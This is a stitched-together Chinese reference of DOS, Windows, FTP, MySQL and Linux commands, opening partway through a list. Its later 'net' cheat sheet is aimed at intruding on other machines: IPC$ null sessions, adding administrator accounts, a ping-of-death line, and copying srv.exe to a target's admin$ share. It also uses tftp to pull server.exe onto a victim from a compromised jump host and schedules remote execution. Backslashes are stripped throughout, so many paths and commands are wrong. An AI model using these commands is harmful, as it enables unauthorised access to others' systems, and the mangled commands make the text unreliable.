/u参数:无条件格式化,并且不保存原来盘上的信息,可以防止"unformat". 


/s参数:格式化为系统盘,也可以使用"sys"命令. 


/f:size size 可以为160 180 320 360 720 1200 1440 2800 


/n:sector n可以为1 格式为单面盘,容量为160k 180k 


可以为4 可以在5寸高密驱动器上格式化360k磁盘 


可以为8 可以在5寸高密驱动器上进行8个扇区的格式化. 


/c 重新测试坏扇区,缺省时如果一个扇区标记为"坏",以后格式时就不在从新测 


试,仅作标记,使用"/C"时可以从新测试. 


对用format 格式过,且未用"/u"参数的命令起作用,用它可以来重新修复已经损 


坏的硬盘分区表,但对网络盘不起作用. 


unformat drive:[/l][/test][/p] 


/l 显示每一个被unformat发现的文件和子目录,如果没有这个开关,只显示那些 


破碎的文件和子目录,可以用ctrl+s 暂停,按任意键继续. 


/test 仅作一个测试,不作实际的修复工作,作模拟过程. 


/p 一边测试一边打印. 


注:这种方法不能保证修复所有的文件,尤其是格式化后又添加过数据的磁盘. 


恢复后的文件依次存放在subdir1....2....3等子目录中. 




十五、interlnk 语法 interlnk g=e ,它可以通过串口或并口在两机间进行通讯. 


将服务器端上的e驱动器映射为客户端的g驱动器,以后对客户端而言,所有对g的 


操作都意味着对服务器的访问,取消映射的办法为interlnk g= 


单独输入interlnk 则显示所有的映射情况. 


注意:interlnk 必须在装入interlnk.exe 设备驱动程序才可以使用. 


所用的驱动器符号与config.?sys中lastdrv.exe设置的数目有关.可以作一个一 


端为25针,另一端为9针的串行线实现,具体接线方式如下: 


5 - 7 2 - 15 


3 - 2 3 - 13 


7 - 4 4 - 12 


6 - 6 5 - 10 


3 - 3 6 - 11 


8 - 5 15 - 2 


4 - 20 13 - 3 


9针 25针 12 - 4 


10 - 5 


11 - 6 


25 - 25 


25针 25针 


interlnk.exe 重新定向对于客户驱动器或打印接口的请求到另外的服务器驱动 


器或打印机. 


语法:config.sys 中加入: 


device=c:dosinterlnk.exe [drive:n][/noprinter][com][lpt] 


使用memmaker能够优化内存配置,?并将配置写入autoexec.bat和config.sys中. 


在这一过程中,需要重新启动几次机器. 


submenu 菜单选项include 


autoexec.bat 中如下: config.sys中如下: 


path c:dos;c:ucdos [menu] 


doskey menucolor=15,1(前景色15,背景色1) 


mousemouse menuitem=base_config,this is a base 


goto %config% ->选择项 menuitem=cced_config,this is a cced 


选项 提示 


:base_config menudefault=base_config,5 


goto exit ->跳出 缺省为base_config,延迟时间5秒 


:cced_config [common] 


c:dossmartdrv.exe /l device=c:doshimem.sys 


goto exit 各项都包含的共同部分 


:exit ->结束 [base_config] 


device=c:dosemm386.exe ram 


dos=high,umb 


[cced_config] 


device=c:dossmartdrv.exe/double_buffer 


include=base_config 包含base_config设置 


可以根据计算机的在不同情况下的配置要求来选择. 


mscdex/drive [/Drive][/e][/k][/s][/l:letter] 


典型:config.sys 中device=c:cdromcdrom.sys /d:mscd000 


autoexec.bat中 c:dosmscdex /d:mscd000 /l:g 


配置了一个光驱,符号为g 


参数/drive1为光驱身份号,须与config.sys中的符号一致,可有多个 


/d:mscd000 /d:mscd001 


/e:使用扩展内存装入光驱驱动程序. 


/s:使光驱在ms_net或windows是否设置为共享光驱 


/V是否在加载时显示内存. 


/L:letter 分配给光驱的盘符 


/m:number 指定缓冲器的数目 


应该注意的是:?如果用smartdrv.exe 加速对光驱的读写能力,应该在autoexec. 


bat中将mscdex.?exe 写在smartdrv.exe 之前,smartdrv.exe的使用可大幅提高 


对驱动器的读写能力. 


使用msd 可以整体检查计算机配置及系统信息 


包括:?驱动器参数,计算机cpu参数,内存大小参数,显示器类型,串.并口情况,以 


及各个IRQ占用情况,据此可以分析新增设备是否与原来设备有冲突. 


同时也可以通过分析内存驻留程序,判断内存中是否有病毒,有则标为"???". 


$q 等于号 $t 当前时间 $d 当前日期 $p 当前驱动器符号 


$$ $号提示 $n当前驱动器 $g 大于号 $l小于号 $b 显示"|"管道号 


$h 隐去提示符 $E显示"<-"号 


对于其它文字,则直接显示文本本身prompt ljw,则显示为ljw提示符 


prompt 则仅显示当前驱动器号及大于号. 


应注意,所有数据都存在于内存中,应及时将其存到硬盘中,否则掉电后或者死机 


后将丢失全部数据,优点是运行速度快,但不能在windows中使用. 


示例:config.sys: device=c:dos amdrive.sys /size[/e|a] 


size为以k为单位的字节数,即建立的虚拟盘的大小. 


/e或/a 都是使用扩展内存来建立虚拟盘,?加参数的前提是必须先加载内存管理 


器himem.sys及emm386.exe. 


如:将对A:l1l2 子目录的请求映射为S盘,则输入 


subst s: a:l1l2 即可 


这样使用dir s:?等命令则显示的是a:l1l2子目录下的内容,其它copy del 一样 


可以用subst s: d 来取消这种映射. 


可以用subst 来显示各种联接情况 


注意:?可以采用subst a: c:a 来建立一个对于A的读写盘.对于某些安装软件 


来说,?必须使用A盘来安装,就可以使用先将所要安装的软件全部拷贝到C:a子 


目录中,然后输入subst a: c:a,再转到A:,就可以进行软件的安装了. 


/c显示所有内存驻留程序的占用情况,分为conventional常规内存和uppermemory 


高端内存占用,并显示总的占用情况(常规 高端 保留 扩展内存) 


/p分页显示,页间暂停 


/m后加模块名 如:/m msdos 显示dos系统内存的占用. 


/d对常规 高端 保留 扩展内存加以详细例表说明 


通过分析,可以看出内存占用是否合理,以及各种程序是否正常加载,从而在此基 


础上使用内存优化工具memmaker进行各种管理,同时又可以分析出一些程序死机 


的原因,若有的地方显示"???",则可以断定内存中有病毒的存在,有利于发现及消灭. 


"> < >> <<" 


将各种命令造成的输出或所需要的输入重新定向 


如ir *.bat /b>p 可以将dir *.bat 例出的文件名输出到p文件中. 


time<p>>p.bat 


p文件中仅存在一个回车符,则可以将时间追加进p.bat文件中 


"> >>" 是将命令产生的输出重新定向,比如到文件或打印机中. 


>>产生的内容将追加进文件中,>则将原文件内容覆盖. 


"< <<" 是将命令所需要输入的内容重新定向. 


如:time<p 在批中可以是时间代码或回车符,可以以此改变时间. 


需要说明的是 "prn "为打印机, "null"为空设备 


con 为显示器 


type p.bat>prn 可将p.bat打印出来. 


copy null p 可将p文件删除掉 


copy con p 可以在屏幕上编辑p文件,F6可以存盘退出 


type p>pp 完成p文件到pp 的复制 


type p|more 可在屏满时暂停显示 


move [y/-y] filename1 filename2 


将文件1移动到文件2处 


如:move c:dos*.* c:cced 


将dos子目录下的所有文件全部移动到cced 子目录下 


/y|-y参数在目标目录不存在需要创建时,是否出现提示 


可以使用该命令修改子目录名称,如 move dos cced 


将dos目录名改为cced 


指定一些特殊数据文件的存放位置,如user.dat pe2.pro等一些非*. 


exe *.com *.bat 文件 


格式:append [:]终止以前存在的指定目录 append 显示指定情况 


append [path] append c:user 等 


call 在一个批处理命令中调用另外一个批处理文件 


(1)不终止现有文件的运行,执行完掉用程序后立即返回. 


(2)被调用批处理命令必须以bat 为扩展名 


(3)调用批处理文件时,可以加上参数(%1-%9)以及环境变量如%baud% 


(4)不能使用管道工具及重定向工具 


device 将指定的设备驱动程序装入内存中 


devicehigh将指定的设备驱动程序装入高端内存中 


loadhigh 将指定的设备驱动程序装入高端内存中 


legend(传奇) optimize(优化) elapse(逝去) fragment(碎片) 


该命令执行对指定的盘进行优化处理(包括检查文件分配表,各文件状态,纠正错误), 


在执行时,可按照文件名大小,时间,扩展名对文件进行排序.


DIR [drive:][path][filename] [/A[[:]attributes]] [/B] [/C] [/D] [/L]

  [/O[[:]sortorder]] [/P] [/Q] [/S] [/T[[:]timefield]] [/W] [/X] [/4


  [drive:][path][filename]

              指定要列出的驱动器、目录和/或文件。


  /A          显示具有指定属性的文件。

  attributes   D  目录                R  只读文件

               H  隐藏文件            A  准备存档的文件

               S  系统文件            -  表示“否”的前缀

  /B          使用空格式(没有标题信息或摘要)。

  /C          在文件大小中显示千位数分隔符。这是默认值。用 /-C 来

              停用分隔符显示。

  /D          跟宽式相同,但文件是按栏分类列出的。

  /L          用小写。

  /N          新的长列表格式,其中文件名在最右边。

  /O          用分类顺序列出文件。

  sortorder    N  按名称(字母顺序)     S  按大小(从小到大)

               E  按扩展名(字母顺序)   D  按日期/时间(从先到后)

               G  组目录优先           -  颠倒顺序的前缀

  /P          在每个信息屏幕后暂停。

  /Q          显示文件所有者。

  /S          显示指定目录和所有子目录中的文件。

  /T          控制显示或用来分类的时间字符域。

  timefield   C  创建时间

              A  上次访问时间

              W  上次写入的时间

  /W          用宽列表格式。

  /X          显示为非 8dot3 文件名产生的短名称。格式是 /N 的格式,

              短名称插在长名称前面。如果没有短名称,在其位置则

              显示空白。

  /4          用四位数字显示年


可以在 DIRCMD 环境变量中预先设定开关。通过添加前缀 - (破折号)

来替代预先设定的开关。例如,/-W。


cd

显示当前目录名或改变当前目录。


CHDIR [/D] [drive:][path]

CHDIR [..]

CD [/D] [drive:][path]

CD [..]


  ..   指定要改成父目录。


键入 CD 驱动器: 显示指定驱动器中的当前目录。

不带参数只键入 CD,则显示当前驱动器和目录。


使用 /D 命令行开关,除了改变驱动器的当前目录之外,

还可改变当前驱动器。


如果扩展命令名被启用,CHDIR 会如下改变:


当前的目录字符串会被转换成使用磁盘名上的大小写。所以,

如果磁盘上的大小写如此,CD  C : TEMP 会将当前目录设为

C:Temp。


CHDIR 命令不把空格当作分隔符,因此有可能将目录名改为一个

带有空格但不带有引号的子目录名。例如:


     cd winntprofilesusernameprogramsstart menu


与下列相同:


     cd "winntprofilesusernameprogramsstart menu"


在扩展功能停用的情况下,您必须键入以上命令。


创建目录。


MKDIR [drive:]path

MD [drive:]path


如果命令扩展名被启用,MKDIR 会如下改变:


如果需要,MKDIR 会在路径中创建中级目录。例如: 假设 a 不

存在,那么:


    mkdir acd


与:


    mkdir a

    chdir a

    mkdir b

    chdir b

    mkdir c

    chdir c

    mkdir d


相同。如果扩展名被停用,则需要键入 mkdir acd。


删除一个目录。


RMDIR [/S] [/Q] [drive:]path

RD [/S] [/Q] [drive:]path


    /S      除目录本身外,还将删除指定目录下的所有子目录和

            文件。用于删除目录树。


    /Q      安静模式,带 /S 删除目录树时不要求确认



将一份或多份文件复制到另一个位置。


COPY [/D] [/V] [/N] [/Y | /-Y] [/Z] [/A | /B ] source [/

     [+ source [/A | /B] [+ ...]] [destination [/A | /B]


  source       指定要复制的文件。

  /A           表示一个 ASCII 文本文件。

  /B           表示一个二进位文件。

  /D           允许解密要创建的目标文件

  destination  为新文件指定目录和/或文件名。

  /V           验证新文件写入是否正确。

  /N           复制带有非 8dot3 名称的文件时,

               尽可能使用短文件名。

  /Y           不使用确认是否要改写现有目标文件

               的提示。

  /-Y          使用确认是否要改写现有目标文件

               的提示。

  /Z           用可重新启动模式复制已联网的文件。


命令行开关 /Y 可以在 COPYCMD 环境变量中预先设定。

这可能会被命令行上的 /-Y 替代。除非 COPY

命令是在一个批文件脚本中执行的,默认值应为

在改写时进行提示。


要附加文件,请为目标指定一个文件,为源指定

数个文件(用通配符或 file1+file2+file3 格式)。


显示或更改文件属性。


ATTRIB [+R | -R] [+A | -A ] [+S | -S] [+H | -H] [[drive:] [path] filename] [/S [

/D]]


  +   设置属性。

  -    清除属性。

  R   只读文件属性。

  A   存档文件属性。

  S   系统文件属性。

  H   隐藏文件属性。

  [drive:][path][filename]

      指定要处理的文件属性。

  /S  处理当前文件夹及其子文件夹中的匹配文件。

  /D  也处理文件夹。



以图形显示驱动器或路径的文件夹结构。


TREE [drive:][path] [/F] [/A]


   /F   显示每个文件夹中文件的名称。

   /A   使用 ASCII 字符,而不使用扩展字符。




我知道的一些命令


ASSOC    显示或修改文件扩展名关联。

AT       计划在计算机上运行的命令和程序。

ATTRIB   显示或更改文件属性。

BREAK    设置或清除扩展式 CTRL+C 检查。

CACLS    显示或修改文件的访问控制列表(ACLs)。

CALL     从另一个批处理程序调用这一个。

CD       显示当前目录的名称或将其更改。

CHCP     显示或设置活动代码页数。

CHDIR    显示当前目录的名称或将其更改。

CHKDSK   检查磁盘并显示状态报告。

CHKNTFS  显示或修改启动时间磁盘检查。

CLS      清除屏幕。

CMD      打开另一个 Windows 命令解释程序窗口。

COLOR    设置默认控制台前景和背景颜色。

COMP     比较两个或两套文件的内容。

COMPACT  显示或更改 NTFS 分区上文件的压缩。

CONVERT  将 FAT 卷转换成 NTFS。您不能转换

         当前驱动器。

COPY     将至少一个文件复制到另一个位置。

DATE     显示或设置日期。

DEL      删除至少一个文件。

DIR      显示一个目录中的文件和子目录。

DISKCOMP 比较两个软盘的内容。

DISKCOPY 将一个软盘的内容复制到另一个软盘。

DOSKEY   编辑命令行、调用 Windows 命令并创建宏。

ECHO     显示消息,或将命令回显打开或关上。

ENDLOCAL 结束批文件中环境更改的本地化。

ERASE    删除至少一个文件。

EXIT     退出 CMD.EXE 程序(命令解释程序)。

FC       比较两个或两套文件,并显示

         不同处。

FIND     在文件中搜索文字字符串。

FINDSTR  在文件中搜索字符串。

FOR      为一套文件中的每个文件运行一个指定的命令。

FORMAT   格式化磁盘,以便跟 Windows 使用。

FTYPE    显示或修改用于文件扩展名关联的文件类型。

GOTO     将 Windows 命令解释程序指向批处理程序

         中某个标明的行。

GRAFTABL 启用 Windows 来以图像模式显示

         扩展字符集。

HELP     提供 Windows 命令的帮助信息。

IF       执行批处理程序中的条件性处理。

LABEL    创建、更改或删除磁盘的卷标。

MD       创建目录。

MKDIR    创建目录。

MODE     配置系统设备。

MORE     一次显示一个结果屏幕。

MOVE     将文件从一个目录移到另一个目录。

PATH     显示或设置可执行文件的搜索路径。

PAUSE    暂停批文件的处理并显示消息。

POPD     还原 PUSHD 保存的当前目录的上一个值。

PRINT    打印文本文件。

PROMPT   更改 Windows 命令提示符。

PUSHD    保存当前目录,然后对其进行更改。

RD       删除目录。

RECOVER  从有问题的磁盘恢复可读信息。

REM      记录批文件或 CONFIG.SYS 中的注释。

REN      重命名文件。

RENAME   重命名文件。

REPLACE  替换文件。

RMDIR    删除目录。

SET      显示、设置或删除 Windows 环境变量。

SETLOCAL 开始批文件中环境更改的本地化。

SHIFT    更换批文件中可替换参数的位置。

SORT     对输入进行分类。

START    启动另一个窗口来运行指定的程序或命令。

SUBST    将路径跟一个驱动器号关联。

TIME     显示或设置系统时间。

TITLE    设置 CMD.EXE 会话的窗口标题。

TREE     以图形模式显示驱动器或路径的目录结构。

TYPE     显示文本文件的内容。

VER      显示 Windows 版本。

VERIFY   告诉 Windows 是否验证文件是否已正确

         写入磁盘。

VOL      显示磁盘卷标和序列号。

XCOPY    复制文件和目录树。



ASSOC    显示或修改文件扩展名关联   详解ASSOC [.ext[=[fileType]]]


  .ext      指定跟文件类型关联的文件扩展名

  fileType  指定跟文件扩展名关联的文件类型


键入 ASSOC 而不带参数,显示当前文件关联。如果只用文件扩展

名调用 ASSOC,则显示那个文件扩展名的当前文件关联。如果不为

文件类型指定任何参数,命令会删除文件扩展名的关联。



AT 命令安排在特定日期和时间运行命令和程序。

要使用 AT 命令,计划服务必须已在运行中。


AT [computername] [ [id] [/DELETE] | /DELETE [/YES]]

AT [computername] time [/INTERACTIVE]

    [ /EVERY:date[,...] | /NEXT:date[,...]] "command"


computername       指定远程计算机。 如果省略这个参数,

                     会计划在本地计算机上运行命令。

id                   指定给已计划命令的识别号。

/delete              删除某个已计划的命令。如果省略 id,

                     计算机上所有已计划的命令都会被删除。

/yes                 不需要进一步确认时,跟删除所有作业

                     的命令一起使用。

time                 指定运行命令的时间。

/interactive         允许作业在运行时,与当时登录的用户

                     桌面进行交互。

/every:date[,...]    每个月或每个星期在指定的日期运行命

                     令。如果省略日期,则默认为在每月的

                     本日运行。

/next:date[,...]     指定在下一个指定日期(如,下周四)运

                     行命令。如果省略日期,则默认为在每

                     月的本日运行。

"command"            准备运行的 Windows NT 命令或批处理

                     程序。



break

设置或清除 DOS 系统的扩展 CTRL+C 检测


这个命令是为了与 DOS 系统的兼容而保留的,在 Windows XP

里不起作用。


如果命令扩展名被启用,并且操作平台是 Windows XP,

BREAK 命令会在被调试程序调试时输入一个硬代码中断点。



cacls

显示或者修改文件的访问控制表(ACL)


CACLS filename [/T] [/E] [/C] [/G user:perm] [/R user [...]]

               [/P user:perm [...]] [/D user [...]]

   filename      显示 ACL。

   /T            更改当前目录及其所有子目录中

                 指定文件的 ACL。

   /E            编辑 ACL 而不替换。

   /C            在出现拒绝访问错误时继续。

   /G user:perm  赋予指定用户访问权限。

                 Perm 可以是: R  读取

                              W  写入

                              C  更改(写入)

                              F  完全控制

   /R user       撤销指定用户的访问权限(仅在与 /E 一起使用时合法)。

   /P user:perm  替换指定用户的访问权限。

                 Perm 可以是: N  无

                              R  读取

                              W  写入

                              C  更改(写入)

                              F  完全控制

   /D user       拒绝指定用户的访问。

在命令中可以使用通配符指定多个文件。

也可以在命令中指定多个用户。


缩写:

   CI - 容器继承。

        ACE 会由目录继承。

   OI - 对象继承。

        ACE 会由文件继承。

   IO - 只继承。

        ACE 不适用于当前文件/目录。


net use ipipc$ " " /user:" " 建立IPC空链接 

net use ipipc$ "密码" /user:"用户名" 建立IPC非空链接 

net use h: ipc$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: 

net use h: ipc$ 登陆后映射对方C:到本地为H: 

net use ipipc$ /del 删除IPC链接 

net use h: /del 删除映射对方到本地的为H:的映射 

net user 用户名 密码 /add 建立用户 

net user guest /active:yes 激活guest用户 

net user 查看有哪些用户 

net user 帐户名 查看帐户的属性 

net localgroup ***istrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:***istrator后加s用复数 

net start 查看开启了哪些服务 

net start 服务名  开启服务;(如:net start telnet, net start schedule) 

net stop 服务名 停止某服务 

net time 目标ip 查看对方时间 

net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 

net view 查看本地局域网内开启了哪些共享 

net view ip 查看对方局域网内开启了哪些共享 

net config 显示系统网络设置 

net logoff 断开连接的共享 

net pause 服务名 暂停某服务 

net send ip "文本信息" 向对方发信息 

net ver 局域网内正在使用的网络连接类型和信息 

net share 查看本地开启的共享 

net share ipc$ 开启ipc$共享 

net share ipc$ /del 删除ipc$共享 

net share c$ /del 删除C:共享 

net user guest 12345 用guest用户登陆后用将密码改为12345 

net password 密码 更改系统登陆密码 

netstat -a 查看开启了哪些端口,常用netstat -an 

netstat -n 查看端口的网络连接情况,常用netstat -an 

netstat -v 查看正在进行的工作 

netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) 

netstat -s 查看正在使用的所有协议使用情况 

nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 

tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。 

ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。 

ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) 

ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息 

tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) 

kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) 

del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件


del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同) 

move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 

fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令 

at id号 开启已注册的某个计划任务 

at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止 

at id号 /delete 停止某个已注册的计划任务 

at 查看所有的计划任务 

at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 

finger username @host 查看最近有哪些用户登陆 

telnet ip 端口 远和登陆服务器,默认端口为23 

open ip 连接到IP(属telnet登陆后的命令) 

telnet 在本机上直接键入telnet 将进入本机的telnet 

copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件 

copy c:srv.exe ip***$ 复制本地c:srv.exe到对方的***下 

cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件 

copy ip***$svv.exe c: 或:copyip***$*.* 复制对方***i$共享下的srv.exe文件(所有文件)至本地C: 

xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件 

tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送 

tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机 

ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时) 

route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface 

arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 

start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令 

mem 查看cpu使用情况 

attrib 文件名(目录名) 查看某文件(目录)的属性 

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 

dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间 

date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 

set 指定环境变量名称=要指派给变量的字符 设置环境变量 

set 显示当前所有的环境变量 

set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 

pause 暂停批处理程序,并显示出:请按任意键继续.... 

if 在批处理程序中执行条件处理(更多说明见if命令及变量) 

goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签) 

call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?) 

for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量) 

echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置 

echo 信息 在屏幕上显示出信息 

echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中 

findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello 

find 文件名 查找某文件 

title 标题名字 更改CMD窗口标题名字 

color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 

prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )


ver 在DOS窗口下显示版本信息 

winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名) 

format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS 

md 目录名 创建目录 

replace 源文件 要替换文件的目录 替换文件 

ren 原文件名 新文件名 重命名文件名 

tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称 

type 文件名 显示文本文件的内容 

more 文件名 逐屏显示输出文件 

doskey 要锁定的命令=字符

doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir= 

taskmgr 调出任务管理器 

chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误 

tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口 

exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe 

path 路径可执行文件的文件名 为可执行文件设置一个路径。 

cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /? 

regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示; 

regedit /e 注册表文件名 导出注册表 

cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。 

cacls 文件名 查看文件的访问用户权限列表 

REM 文本内容 在批处理文件中添加注解 

netsh 查看或更改本地网络配置情况


IIS服务命令: 

iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现) 

iisreset /start或stop 启动(停止)所有Internet服务 

iisreset /restart 停止然后重新启动所有Internet服务 

iisreset /status 显示所有Internet服务状态 

iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 

iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机 

iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务 

iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。 

FTP 命令: (后面有详细说明内容) 

ftp的命令行格式为:

ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。

-d 使用调试方式。 

-n 限制ftp的自动登录,即不使用.netrc文件。

-g 取消全局文件名。 

help [命令] 或 ?[命令] 查看命令说明 

bye 或 quit 终止主机FTP进程,并退出FTP管理方式. 

pwd 列出当前远端主机目录 

put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 

get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 

mget [remote-files] 从远端主机接收一批文件至本地主机 

mput local-files 将本地主机中一批文件传送至远端主机 

dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 

ascii 设定以ASCII方式传送文件(缺省值) 

bin 或 image 设定以二进制方式传送文件 

bell 每完成一次文件传送,报警提示 

cdup 返回上一级目录 

close 中断与远程服务器的ftp会话(与open对应) 

open host[port] 建立指定ftp服务器连接,可指定连接端口 

delete 删除远端主机中的文件 

mdelete [remote-files] 删除一批文件 

mkdir directory-name 在远端主机中建立目录 

rename [from] [to] 改变远端主机中的文件名 

rmdir directory-name 删除远端主机中的目录 

status 显示当前FTP的状态 

system 显示远端主机系统类型 

user user-name [password] [account] 重新以别的用户名登录远端主机 

open host [port] 重新建立一个新的连接 

prompt 交互提示模式 

macdef 定义宏命令 

lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 

chmod 改变远端主机的文件权限 

case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 

cd remote-dir 进入远程主机目录 

cdup 进入远程主机目录的父目录 

! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip


MYSQL 命令: 

mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。

(例:mysql -h110.110.110.110 -Uroot -P123456 

注:u与root可以不用加空格,其它也一样) 

exit 退出MYSQL 

mysql*** -u用户名 -p旧密码 password 新密码 修改密码 

grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符) 

show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。 

use mysql;

show tables; 显示库中的数据表 

describe 表名; 显示数据表的结构 

create database 库名; 建库 

use 库名;

create table 表名 (字段设定列表); 建表 

drop database 库名; 

drop table 表名; 删库和删表 

delete from 表名; 将表中记录清空 

select * from 表名; 显示表中的记录 

mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的mysqlin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 

win2003系统下新增命令(实用部份): 

shutdown /参数 关闭或重启本地或远程主机。

参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。

例:shutdown /r /t 0 立即重启本地主机(无延时) 

taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。

参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。 

tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。

参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。


Linux系统下基本命令: 要区分大小写 

uname 显示版本信息(同win2K的 ver) 

dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir) 

pwd 查询当前所在的目录位置 

cd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。 

cat 文件名 查看文件内容 

cat >abc.txt 往abc.txt文件中写上内容。 

more 文件名 以一页一页的方式显示一个文本文件。 

cp 复制文件 

mv 移动文件 

